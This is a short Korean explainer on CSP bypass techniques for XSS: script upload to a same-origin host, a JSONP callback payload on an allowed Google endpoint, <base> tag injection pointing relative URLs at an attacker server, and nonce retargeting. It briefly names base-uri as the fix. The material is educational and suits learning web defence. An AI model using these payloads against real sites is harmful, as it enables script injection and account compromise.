CSP는 XSS공격을 방어하는 방법중 하나로 스크립트의 출처를 제한한다.
하지만 부정확한 CSP는 오히려 XSS공격의 취약점이 되는데,,,
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
이렇게 특정 주소에서오는 스크립트만 허용했을때, 만약 해당 주소가 파일 업로드가 가능하다면 파일을 업로드 하여 CSP를 우회할 수 있다.
<h1>검색 결과: <script src="/download_file.php?id=177742"></script></h1>
JSONP란 JSON with Padding의 줄임말로 SOP정책에 의해 어떤 출처에서 나온 스크립트는 다른 출처의 리소스와는 상호작용할 수 없는데, 이를 우회 하기위해 JSONP가 나왔다. JSONP는 callback를 이용해 스크립트를 실행할 수 있는데, 만약 CSP로 *.google.com에서 온 출처를 허용한다면
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
위와 같이 우회할 수 있다.
html에서는 상대주소를 입력하면 현재문서뒤에 상대주소를 붙여 해석한다. 하지만 <base>
태그를 이용하면 상대경로가 붙여질 기준점을 바꿀 수 있다
<base href="https://공격자의.블로그/히히까시발싸/">
이런 식으로 사용하게 되면 상대경로를 사용하는 URL들은 공격자 서버에 있는 자원을 가리키게 된다.
이를 막기 위해서는 CSP의 base-uri
를 지정해줘야 한다.
Base URL을 이용한 공격의 파생으로 Nonce Retargeting이라는 공격이 있는데, nonce
를 이용해 스크립트를 검증한다고 했을때, 코드에서 <script> src="대충 상대경로" </script>
와 같이 상대경로를 사용하고 있다면
<base href="https://공격자의.블로그/히히까시발싸/">
이걸 이용해 "https://공격자의.블로그/히히까시발싸/대충 상대경로"
를 참조하게 만들 수 있습니다.